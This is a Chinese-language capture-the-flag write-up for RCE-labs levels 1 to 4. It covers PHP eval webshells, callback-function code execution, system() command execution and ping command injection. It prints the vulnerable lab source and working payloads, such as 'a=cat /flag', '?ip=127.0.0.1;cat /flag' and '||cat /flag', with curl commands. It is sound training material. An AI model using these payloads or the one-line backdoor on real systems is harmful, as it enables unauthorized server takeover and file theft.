【RCELABS】Level 1~4 —— 基础篇

【RCELABS】Level 1~4 ------ 基础篇

    • 前言
    • [RCELABS - 1:一句话木马和代码执行](#RCELABS - 1:一句话木马和代码执行)
    • [RCELABS - 2:PHP代码执行函数](#RCELABS - 2:PHP代码执行函数)
    • [RCELABS - 3:命令执行](#RCELABS - 3:命令执行)
    • [RCELABS - 4:命令执行 - SHELL 运算符](#RCELABS - 4:命令执行 - SHELL 运算符)
    • 总结

前言

本次练习靶场 RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目

远程代码执行、命令注入是Web安全与CTF Web题型里十分核心的考点。这套靶场循序渐进,覆盖基础执行原理、各类过滤绕过、无字母数字Payload、短字符极限利用、PHP特性漏洞、模板注入等大量经典场景,非常适合系统性练习RCE相关漏洞思路。

文中所有分析、Payload仅在自行部署的本地靶场环境进行学习练习,仅作为个人学习笔记分享。严禁将文中方法使用于任何未授权的目标,自觉遵守《网络安全法》等相关法律法规。

Level 0为理论先导关卡,相关基础概念整合于前言,正文将从 Level 1 开始逐关开展源码审计与漏洞复现。整篇文章统一采用源码分析→原理拆解→Payload构造的结构,方便后续回顾。

开源仓库:https://github.com/ProbiusOfficial/RCE-labs


RCELABS - 1:一句话木马和代码执行

题目描述

  • 考点:一句话木马与 PHP 代码执行
  • 描述:通过 eval 执行用户提交的 PHP 代码,理解一句话木马的基本形态。
php 复制代码
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 一句话木马和代码执行 --- 

「代码执行(Code Execution)」 在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的`eval()`函数或Python中的`exec()`函数。

当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞 ------ 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval("system('cat /etc/passwd');"); 也被归为代码执行漏洞。

我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)

try POST:
    a=echo "Hello,World!";
*/

eval($_POST['a']);

highlight_file(__FILE__);

?>

源码分析

核心危险代码:

php 复制代码
eval($_POST['a']);
代码元素 功能说明 风险分析
eval() PHP 语言构造器,接收字符串并将其解析为 PHP 代码执行 高危危险函数,可执行任意代码
$_POST['a'] 接收 HTTP POST 请求中的参数 a 完全用户可控,无过滤、无转义
include("get_flag.php") 引入外部文件,将变量载入当前作用域 $flag 变量已存在,可直接读取输出

漏洞原理

这是一道典型的 PHP 代码执行漏洞入门题。用户可控的 POST 参数 a 被直接传入 eval() 函数,没有经过任何过滤处理,因此可以执行任意合法的 PHP 语句------这也是一句话木马的基本原型。

一句话木马的核心逻辑可以概括为:

一个可控参数 + 一个代码执行函数 = 完整后门能力

php 复制代码
<?php eval($_POST['a']); ?>

虽然只有一行代码,但攻击者可以通过参数 a 传入任意代码,实现文件读写、命令执行、数据库操作等多种恶意行为。

💡 为什么用 POST 而不是 GET?

  • POST 可传输更长的数据,适合发送复杂 Payload
  • 相对隐蔽,不会直接出现在服务器访问日志的 URL 中
  • 蚁剑、菜刀等 WebShell 管理工具默认使用 POST 传参

Payload 构造

由于 get_flag.php 已经通过 include 引入当前页面,$flag 变量直接存在于当前作用域中,因此最简单的利用方式就是直接输出该变量:

复制代码
a=echo $flag;

这行 Payload 被 eval() 执行后,等价于在页面中执行了:

php 复制代码
echo $flag;

无需调用系统命令,也无需读取文件,直接输出变量即可拿到 flag。


方式一:curl 命令(Kali/Linux)

bash 复制代码
curl -X POST -d "a=echo \$flag;" http://challenge.cyclens.tech:31295/

⚠️ 注意:在 Linux Shell 中,$ 符号会被识别为变量引用,需要用 \ 转义为 \$,否则 Payload 会失效。

成功获取 flag:

复制代码
flag{r9k4zryx-s9dg-4vg-89hn-2uorp7jjnlcci}

方式二:Firefox HackBar 插件

  1. 打开目标页面,启动 HackBar
  2. 勾选 POST,Content-Type 选择 application/x-www-form-urlencoded
  3. 在 POST Body 中填入:a=echo $flag;
  4. 点击 Execute 发送请求

RCELABS - 2:PHP代码执行函数

题目描述

  • 考点:PHP 可回调代码执行函数
  • 描述:从一组可执行代码的 PHP 函数中随机抽取,根据抽到的函数构造对应参数,完成代码执行读取 $flag
php 复制代码
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : PHP代码执行函数 --- 

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

源码分析

php 复制代码
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

核心逻辑:

  • 程序从函数列表中随机抽取一个函数,存入 session
  • 访问 ?action=submit 时,接收 POST 参数 content
  • 拼接成 函数名(content); 的格式,送入 eval() 执行
  • flag 存储在全局变量 $flag

随机函数列表:

php 复制代码
$func_list = ['eval','assert','call_user_func','create_function','array_map',
              'call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

小技巧:访问 ?action=r 可销毁 session,重置随机函数。

漏洞原理

这关考察对 PHP 各类回调函数 / 代码执行函数的熟悉程度。不同函数的参数格式不同,需要根据抽到的函数构造对应的 payload。

各函数 Payload 对照表

随机函数 POST content Payload 拼接后最终执行代码 难度
eval "echo $flag;" eval("echo $flag;");
assert "echo $flag;" assert("echo $flag;");
call_user_func "var_dump",$flag call_user_func("var_dump",$flag); ⭐⭐
call_user_func_array "echo",[$flag] call_user_func_array("echo",[$flag]); ⭐⭐
array_map "var_dump",[$flag] array_map("var_dump",[$flag]); ⭐⭐
array_filter "var_dump",[$flag] array_filter([$flag],"var_dump"); ⭐⭐
array_reduce "var_dump",[$flag],1 array_reduce([$flag],"var_dump",1); ⭐⭐⭐
usort "var_dump",[$flag,1] usort([$flag,1],"var_dump"); ⭐⭐⭐
create_function '',$flag;} create_function('',$flag;}); ⭐⭐⭐
preg_replace "/abc/e","echo $flag;","abc" preg_replace("/abc/e","echo $flag;","abc"); ⭐⭐⭐⭐

解题步骤

  1. 访问靶场地址,页面顶部会显示当前会话随机抽取的函数名
  2. 若抽到 eval / assert,直接使用最简 payload 即可通关
  3. 若抽到复杂函数,两种方案任选:
    • 方案一:根据函数语法构造对应 payload 直接利用
    • 方案二:访问 ?action=r 重置会话,重新随机(刷出简单函数为止)
  4. 构造 POST 请求,将 payload 以 content 参数提交到 ?action=submit

实战演示(以 call_user_func 为例)

当前抽到函数:call_user_func

HackBar 配置:

请求方式 POST
URL http://challenge.cyclens.tech:30731/?action=submit
POST Body content="var_dump",$flag

拼接后执行代码:

php 复制代码
call_user_func("var_dump", $flag);

执行效果:

call_user_func(回调函数, 参数1, 参数2...)

  • 第一个参数 "var_dump" 作为回调函数名
  • 第二个参数 $flag 作为传入参数
  • 最终执行 var_dump($flag),直接输出 flag 内容

成功获取flag:flag{swugxzbq-wdpl-4td-8m9t-cqih1yyd79gry}


RCELABS - 3:命令执行

题目描述

  • 考点:最基础的命令执行
  • 描述:直接将用户输入送入 system,理解命令执行入口的最小形态。
php 复制代码
Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 21
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 --- 

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。

当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":

try POST:
    a=cat /etc/passwd;

*/

system($_POST['a']);

highlight_file(__FILE__);


?>

源码分析

核心危险代码:

php 复制代码
system($_POST['a']);
  • system():PHP 命令执行函数,接收字符串参数,将其作为系统命令执行并直接输出结果
  • 可控点:POST 参数 a 直接传入 system(),无任何过滤、转义处理
  • flag 位置:本题没有 include 引入 flag 变量,flag 存放在系统文件中,需要用命令读取

页面顶部的 Cannot execute a blank command 报错也能帮我们确认参数名------首次访问没传参时 system 接收到空值,侧面验证了参数 a 是正确的入口。


漏洞原理

这是一道经典的 PHP 命令执行漏洞入门题。用户可控的 POST 参数直接送入 system() 函数,没有经过任何过滤,因此可以执行任意系统命令。

命令执行型一句话木马的原型就是这样:

php 复制代码
<?php system($_POST['a']); ?>

和代码执行(eval)的区别在于:命令执行直接对接系统 Shell,只能跑系统命令;代码执行跑的是 PHP 代码,能力范围更大,也可以调用命令执行函数来跑系统命令。


Payload(POST)

最简写法:

复制代码
a=cat /flag

flag 存放在系统根目录的 /flag 文件中,直接用 cat 命令读取即可。


利用方式

  1. curl 命令(Kali/Linux)
bash 复制代码
curl -X POST -d "a=cat /flag" http://靶场地址/

成功获取 flag:flag{wdh39jc9-h2c8-4go-8vgg-hk5vwtwfqev6t}

  1. Firefox HackBar

勾选 application/x-www-form-urlencoded,POST Body 填入 a=cat /flag,点击 Execute 发送。

⚠️ 如果遇到 Cannot execute a blank command 报错,说明参数没传成功,检查一下 POST 参数名是不是 a,以及数据格式是否正确。


RCELABS - 4:命令执行 - SHELL 运算符

题目描述

  • 考点:命令执行 + Shell 运算符
  • 描述:通过 Shell 运算符拼接命令,绕过正常业务逻辑执行任意系统命令。
php 复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 --- 

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例:  mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例:  cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例:  sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例:  echo "Hello" ; echo "World"


try GET:
    ?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
    system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);

?>

源码分析

核心危险代码:

php 复制代码
system("ping -c 1 $ip");

$ip 参数完全可控,直接拼接到 system() 执行的命令字符串中。没有对输入做任何过滤或转义,可以通过 Shell 运算符在 ping 命令后拼接任意系统命令。

代码元素 功能说明 风险分析
system() PHP 命令执行函数,执行系统命令并直接输出结果 高危危险函数
$ip 用户通过 GET 传入的 IP 参数 完全可控,无任何过滤
拼接方式 直接字符串拼接 "ping -c 1 $ip" 可注入 Shell 运算符截断原命令

漏洞原理

这是一道典型的命令注入漏洞。业务逻辑原本只是让用户输入 IP 执行 ping 命令,但由于没有对输入做过滤,攻击者可以在 IP 后面拼接 Shell 运算符,注入第二条恶意命令。

?ip=127.0.0.1;cat /flag 为例,拼接后实际执行的完整命令是:

bash 复制代码
ping -c 1 127.0.0.1;cat /flag

Shell 会把 ; 识别为命令分隔符,先执行 ping,再执行 cat /flag,从而绕过正常业务逻辑执行任意命令。


常用 Shell 运算符

运算符 作用 执行逻辑示例
; 命令分隔符,前面执行完继续执行后面 cmd1;cmd2 ------ 先执行 cmd1,再执行 cmd2
&& 逻辑与,前面命令成功才执行后面 cmd1&&cmd2 ------ cmd1 成功返回 0,才执行 cmd2
` `
& 后台运行,前后命令并行执行 cmd1&cmd2 ------ cmd1 放后台,立即执行 cmd2

Payload(GET)

最简单直接:

bash 复制代码
?ip=127.0.0.1;cat /flag

执行流程:先 ping -c 1 127.0.0.1,ping 完成后执行 cat /flag 读取 flag。


其他可行姿势

bash 复制代码
?ip=127.0.0.1&&cat /flag

ping 成功后才执行 cat,和 ; 效果类似,但要求前一条命令必须成功。

bash 复制代码
?ip=||cat /flag

不传 IP,ping 空地址执行失败,触发逻辑或 || 直接执行 cat /flag。这种写法更短,不需要写合法 IP。

bash 复制代码
?ip=127.0.0.1%26cat /flag

⚠️ 注意:& 在 URL 中是参数分隔符,直接写会被截断,必须 URL 编码为 %26

成功获得 flag:flag{kibyilny-s3lo-4yf-8oan-kcgrrczq0bzfj}


💡 核心思路:利用 Shell 运算符「截断」或「拼接」第二条命令,突破原有 ping 业务逻辑的限制。


总结

本靶场1~4分为PHP代码执行、系统命令执行两大模块。Level1、Level2属于PHP代码执行漏洞,依靠eval()执行PHP语法,可直接读取作用域内$flag变量;其中Level2存在Session随机函数机制,需要注意GET、POST混合传参规则。

Level3、Level4为系统命令执行,漏洞会调用操作系统Shell指令读取文件。Level4重点考察Shell分隔符逃逸,借助;&&等运算符突破原有命令限制。需要区分两类漏洞利用思路,代码执行使用PHP语法,命令执行填写系统Shell指令,Payload不能混用。


免责声明

本篇文章所有内容仅用于安全学习交流,全部实验在本地自建靶场完成。禁止直接用于未授权测试,非法渗透测试需承担相应法律责任。

相关推荐
海天鹰1 小时前
PHP换行
php
moonsims15 小时前
星闪在跨域无人化系统作用
开发语言·php
灯澜忆梦20 小时前
GO_网络编程---文件传输实战
网络·golang·php
happy_0x3f21 小时前
前端应用的离线暂停更新策略
开发语言·前端·php
wWYy.1 天前
RPC详解
qt·rpc·php
Kari111 天前
连锁门店开业网络验收怎么做:把 PDF 清单改造成可回放的 Skill
网络·人工智能·pdf·php
万亿少女的梦1681 天前
基于PHP的碳排放减排管理系统设计与实现
mysql·数据分析·php·系统设计·碳排放
码云数智-大飞2 天前
PHP 接口开发规范:统一返回格式、异常处理与参数校验
开发语言·php
dadaobusi2 天前
仿真边界处理
开发语言·php